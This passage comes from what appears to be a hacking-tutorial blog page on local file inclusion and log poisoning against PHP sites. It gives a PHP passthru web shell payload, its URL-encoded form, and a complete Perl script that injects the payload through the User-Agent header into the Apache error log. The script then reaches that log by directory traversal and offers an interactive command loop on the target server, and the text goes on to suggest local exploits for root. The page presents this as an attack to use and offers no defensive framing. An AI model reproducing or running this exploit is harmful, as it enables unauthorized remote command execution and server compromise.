<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The hacker would then inject some PHP code into the logs by typing  </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><? Passthru($_GET[‘cmd’]) ?></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> after </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in the URL. This will cause the PHP script to be logged because there is no file by that name. What this script will do is give the hacker shell access and allow him to execute system commands. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 46.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now if the hacker goes back to the log file, he will see that his PHP script wasn’t parsed and instead converted to  </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.22; margin-bottom: 2.45pt; margin-left: 132.25pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">%3C?%20passthru($_GET[cmd])%20?%3E </span></div>
<ol start="5" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 46.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">When you submitted the script, the browser automatically encoded the URL. Luckily there is a pearl script that can get around this problem. Below is the pearl script, edit the variables:  $site, $path, $code, and $log to the appropriate information. </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 391.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#!/usr/bin/perl -w use IO::Socket; use LWP::UserAgent; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$site=”www.vulnerablesite.com”; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$path=”/”; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$code=”<? Passthru(\$_GET[cmd]) ?>”; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 194.35pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$log = “../../../../../../../etc/httpd/logs/error_log”; print “Trying to inject the code”; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">“\nConnection Failed.\n\n”; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 247.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">print $socket “GET “.$path.$code.” HTTP/1.1\r\n”; print $socket “User-Agent: “.$code.”\r\n”; print $socket “Host: “.$site.”\r\n”; print $socket “Connection: close\r\n\r\n”; close($socket); </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 199.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">print “\nCode $code successfully injected in $log \n”; print “\nType command to run or exit to end: “; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 362.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$cmd = <STDIN>; while($cmd !~ “exit”) { </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">“\nConnection Failed.\n\n”; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 103.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">print $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\r\n”; print $socket “Host: “.$site.”\r\n”; print $socket “Accept: */*\r\n”; print $socket “Connection: close\r\n\n”; while ($show = <$socket>) </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{ </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">print $show; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">} </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: -0.75pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">print “Type command to run or exit to end: “; </span></div>
<div dir="ltr" style="line-height: 1.17; margin-bottom: 0pt; margin-left: 35.75pt; margin-right: 405.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$cmd = <STDIN>; } </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.25pt; margin-left: 36.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 12px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<span id="docs-internal-guid-992797f7-8984-4acf-1ba4-98e6f81da8f1"><span style="font-family: Calibri; font-size: 18.6667px; vertical-align: baseline; white-space: pre-wrap;">6.</span><span style="font-family: Arial; font-size: 18.6667px; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: Calibri; font-size: 18.6667px; vertical-align: baseline; white-space: pre-wrap;">Once the hacker runs this script and it goes successfully, he will be able to run any command on the server. From here he can run any local exploits to gain root, or just browse the server files.</span></span></div>

HOW TO HACK WEB HACKING

With the Web 2.0 era upon us, most websites are dynamic and allow the users to interact with the content. Many of the web applications tha...

SHM-HACK

SYSTEM INTRUSION IN 15 SECONDS~NETBIOS ATTACK

KEEP LEARNING.!

WEB HACKING

Trending Topics

Translate